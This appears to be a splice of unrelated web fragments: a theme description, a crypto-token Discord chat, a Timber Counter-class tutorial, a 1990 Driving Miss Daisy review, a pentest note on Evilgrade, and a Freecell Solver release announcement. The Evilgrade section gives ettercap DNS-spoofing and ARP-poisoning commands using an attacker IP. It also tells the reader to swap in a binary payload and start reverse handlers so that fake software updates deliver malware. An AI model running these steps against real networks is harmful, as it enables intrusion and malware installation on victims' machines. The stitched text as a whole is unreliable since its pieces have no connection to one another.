Marat is heavily inspired by L’Ami du peuple, a newspaper written by Jean-Paul Marat during the French Revolution, and thus may not be used to promote any form of totalitarianism and should rather be used to advance democracy and revive the Age of Reason.
Marat is fully responsive, light and fast.
Plugins:
Marat includes the following plugins.


Gateway
BOT
04-Dec-18 10:28 AM
[dscrdutrum] <obattal> Hope that cause really I trust This Token ...
[dscrdutrum] <obattal> and i like it So much
[dscrdutrum] <obattal> Why you don't Add your Token for payment Some games?
[dscrdutrum] <Emman - DevOps> We're putting a lot of love on this project, it will give fruits, believe me.
[dscrdutrum] <Emman - DevOps> Games are not part of the target market, i guess. But, who knows, that's up to the Utrum foundation to decide.
[dscrdutrum] <obattal> Yeah
[dscrdutrum] <obattal> Cause you know brother
[dscrdutrum] <obattal> To much games have More then 100 Millions gamers
[dscrdutrum] <obattal> ANd This 100 Millions You can find 10 m use Crypto Currency
[dscrdutrum] <obattal> So this is marketing and You can Hit your Target prices So fast
[dscrdutrum] <Emman - DevOps> @obattal we would need first a relation between gaming and crypto reviews. Maybe gamefying parts of the platform? Hehe, i don't know. Everything is possible.
[dscrdutrum] <obattal> @Emman - DevOps That's True hope So
[dscrdutrum] <obattal> I will make Free marketing For Utrum If i find a game :p
[dscrdutrum] <Emman - DevOps> By the way, gamefying parts of the platform was discussed last year, it's still a possibility.
[dscrdutrum] <obattal> Hope so much Brother
[dscrdutrum] <obattal> really That will make Huge project
[dscrdutrum] <obattal> if you can see ENJ
[dscrdutrum] <obattal> They have a good road map .. But 0 marketing
[dscrdutrum] <obattal> ..
[dscrdutrum] <Emman - DevOps> Interesting.
[dscrdutrum] <Emman - DevOps> Yeah, this must be a signal, many people liking that idea.
[dscrdutrum] <obattal> YOu need any help Any idea Just Contact me
[dscrdutrum] <obattal> I dont have work
[dscrdutrum] <obattal> I just Trade and Play games and I creat Idea lol
[dscrdutrum] <Emman - DevOps> ok, let me dm you.


The Counter example is a minimal example of a class from which one can instantiate objects with state. Several variations are possible; here is the one we choose:
module Counter where struct Counter where incr :: Action decr :: Action value :: Request Int counter = class n := 0 incr = action n := n+1 decr = action n := n-1 value = request result n result Counter{..}
Comments:
ctr = new counterThe variable ctr has type Counter, and the newly created object can be updated by method calls ctr.incr and ctr.decr. The state can be read by
val <- ctr.value
counter = class n := 0 result struct incr = action n := n+1 decr = action n := n-1 value = request result nIn more complex situations, the {..} is a useful convenience.
counterInit init = class n := init ...The rest of the class is as before. To create an object with initial value 5, we would write
ctr = new counterInit 5
Thus, we have the typing counterInit :: Int -> Class Counter.
We might still keep the definition of counter, but this would mean code duplication that should be avoided. Instead, we could write
counter = counterInit 0and get a class counter with the same usage as our original definition.


DRIVING MISS DAISY A film review by Mark R. Leeper Copyright 1990 Mark R. Leeper
Capsule review: Good but disappointing story (after its reputation) of a cantankerous, aging Southern woman and the chauffeur hired for her over her protests. Good performances but the mechanics of the play that should make us care for these characters and convince us that two decades are really passing are strangely absent. Rating: low +2.
Daisy Werthan is at war with the world and the world does not even notice it. At 72 she is still desperately holding on to her dignity, but she is having increasing problems interfacing with the world.  As the film opens she is preparing to drive herself somewhere, only to end up wrecking her car instead. Her son decides it is time to hire someone to do her driving for her, but she wants no part of the plan. Her son hires Hoke Colburn for the job, but Daisy refuses to give him anything to do, at least at first. DRIVING MISS DAISY covers in all too short a span of minutes the next two decades of so of the relationship of Daisy and Hoke. We see both reacting to the prejudice around them against each's group: racism against Hoke's race, anti-Semitism against Daisy's religion. Hoke tries to be sympathetic. Daisy does not try as hard. Most of her impulses are selfish.
DRIVING MISS DAISY seems to be a sentimental favorite for Oscar nominations this year, but in some ways it is a disappointment. The film's screenplay is by Alfred Uhry, based on his Broadway play and it is perhaps his writing that gives the film both its best aspects and its greatest flaws. In the course of the film it is obvious why Daisy, portrayed by Jessica Tandy, is so unpleasant. But the unpleasantness is so rarely relieved that understanding why she is the way she is is not enough. It perhaps is realistic that Daisy is so rarely likable, but it is dramatically unsatisfying. Perhaps she is more than one-dimensional, but she is less than three. Perhaps the story is really more Hoke's story, but here too the writing is lacking. Morgan Freeman does as much with a smaller supporting role in GLORY as he does with Hoke in this film. Perhaps at the beginning he is a little more countrified and later he is a little more dignified, but he too seems pretty much fixed in time. Time is shown to pass very awkwardly in DRIVING MISS DAISY. There is a change of props, a graying in the makeup, but we are told of rather than feel the passage of time. By comparison, in a film like SAME TIME, NEXT YEAR (also adapted from a Broadway play), the passage of time is keenly felt, and in that film the characters do change and are not so fixed in time.
This is not to say that the film does not have its tender moments, but every time Daisy shows some consideration for Hoke, they seem dramatically to be saying it is a major victory, and frankly it just is not satisfying enough. Freeman turns in as good a performance as the story allows him. So does Tandy. Aykroyd turns in his best performance ever as Boolie, Daisy's son, but none of these performances makes for a character one really wants to know, not even Freeman's. There just is not enough to turn this from a good film into a truly memorable one. My rating is a low +2 on the -4 to +4 scale.
Mark R. Leeper att!mtgzx!leeper<EMAIL_ADDRESS>.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


[evilgrade](https://github.com/infobyte/evilgrade) | Malicious software update MitM exploit kit. Includes support for JRE, WinZip, OpenOffice, iTunes, Notepad++ and more
Evilgrade primarily works because update servers don't use secure connections (source required).
Setup DNS spoofing
Setup Payload binary
Configure EvilGrade
Setup DNS spoofing
Scenario requires ability to spoof a dns response. This can be done MANY ways, but here is an example with ettercap.
# echo "notepad-plus.sourceforge.net A <attacker_ip>" >> /etc/ettercap/etter.dns
# ettercap -TqM arp:remote /<ip>// /<ip>//
Press "P" for plugins
Select "dns_spoof"
Setup Payload binary
EvilGrade uses a local web server and delivers "agent.exe" in /usr/share/isr-evilgrade/agent directory. Replace this with your favorite binary payload. Start any reverse handlers.
Configure EvilGrade
# ./evilgrade
> conf notepadplus
Ensure all options are set correctly (pointing to your binary, etc)
> show options
> start


Freecell Solver version 3.24.0, has been released. Freecell Solver 3.24.0 is available in the form of a source archive, from the download page. Freecell Solver is an open source framework (library and some command line applications), for automatically solving several variants of card Solitaire / Patience games, including Freecell.
This release is dedicated to the memory of Adrian Ettlinger who passed away on 23 October 2013, who was a good Internet friend of the primary maintainer of Freecell Solver (= Shlomi Fish), and who contributed a great deal to Freecell Solver and to Freecell research and programming in general (among other major life achievements, and contributions to man kind). You can read an obituary of Mr. Ettlinger by Shlomi Fish as it was posted to the Freecell Solver Discussions mailing list, and also read an an interview that Fish conducted with him back in 2003.
The new video-editing
preset was named in honor of Ettlinger’s
previous work in pioneering non-linear video editing back when he worked as
an Electrical Engineer (and later as a software developer) for
CBS corporation.
In any case, the main highlights of this release are:
New Feature: the -l video-editing
(or -l ve
for short) flare-based preset that tends to yield shorter solutions on average.
See a post with some performance analysis.
A bug was fixed when providing input without a trailing newline character (“\n”). This was reported against the online JavaScript version was Olaf and was fixed globally. Thanks, Olaf!
The distribution now contains the sources for the Split FCC (= Fully Connected Component) Solver which was an unsuccessful attempt to solve Windows Freecell deal No. 384,243 with two freecells. It may prove of general utility in the future, though.
Hope you enjoy this release and we extend our sadness to the other family members and friends of the late Mr. Ettlinger.